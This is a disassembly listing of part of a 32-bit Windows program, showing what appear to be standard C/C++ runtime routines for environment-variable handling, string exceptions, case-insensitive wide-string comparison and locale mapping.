loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB978, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D


loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh


loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB970, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB978, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB978, eax
		jz	short loc_42620F
		mov	[eax], edi


loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB970
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx


loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------


loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------


loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------


loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi


loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB970, eax


loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 26010D3h
		nop
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB970
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]


loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D


loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344


loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB970
		sar	eax, 2
		neg	eax


loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB970
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB


loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1


loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx


loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------


loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DCDBC, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]


loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DCEC1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------


loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452


loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------


loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEF+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6F0
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_40D6B4
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D08o
					; ___:00427D18o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A0

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------


loc_4264E2:				; DATA XREF: ___:off_427D04o
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx


loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D20
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D14
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D14o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:0042808Co
		mov	dword ptr [ecx], offset	off_427D14
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D561+13p
					; sub_40D725+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428088
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D561
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D20
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D40o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:00428134o
		mov	dword ptr [ecx], offset	off_427D40
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D14
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B1+15p
					; sub_40D50A+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428130
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D40
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D40
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D0Co

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428170
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426714:				; DATA XREF: ___:00427D48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428130
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426732:				; DATA XREF: ___:00427D1Co
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428088
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426750	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_426750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE41+5Ep
					; ___:00414BE6p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		jmp	near ptr 2892100h
sub_42675C	endp

; ---------------------------------------------------------------------------
		db 25h

; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417276+E2p
					; sub_417276+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DBA04, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h


loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h


loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------


loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2


loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi


loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D60
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------


loc_4267F7:				; DATA XREF: ___:off_427D60o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx


loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_426813:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D68
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D68
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------


loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D68
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D6Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D88
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	near ptr 2680369h
		nop
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DBA04, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DBA04
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DA8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DBC5C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427938
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DBC5C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------


loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CB4FC
		push	edi
		push	esi
		nop
		call	near ptr 2670000h
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DBC5C, 2


loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DBC5C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2660000h
		nop
		jmp	loc_426B7F
; ---------------------------------------------------------------------------


loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DBA14
		mov	[ebp+arg_18], eax


loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 28510F6h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 28510F6h
		nop
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2670000h
		nop
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
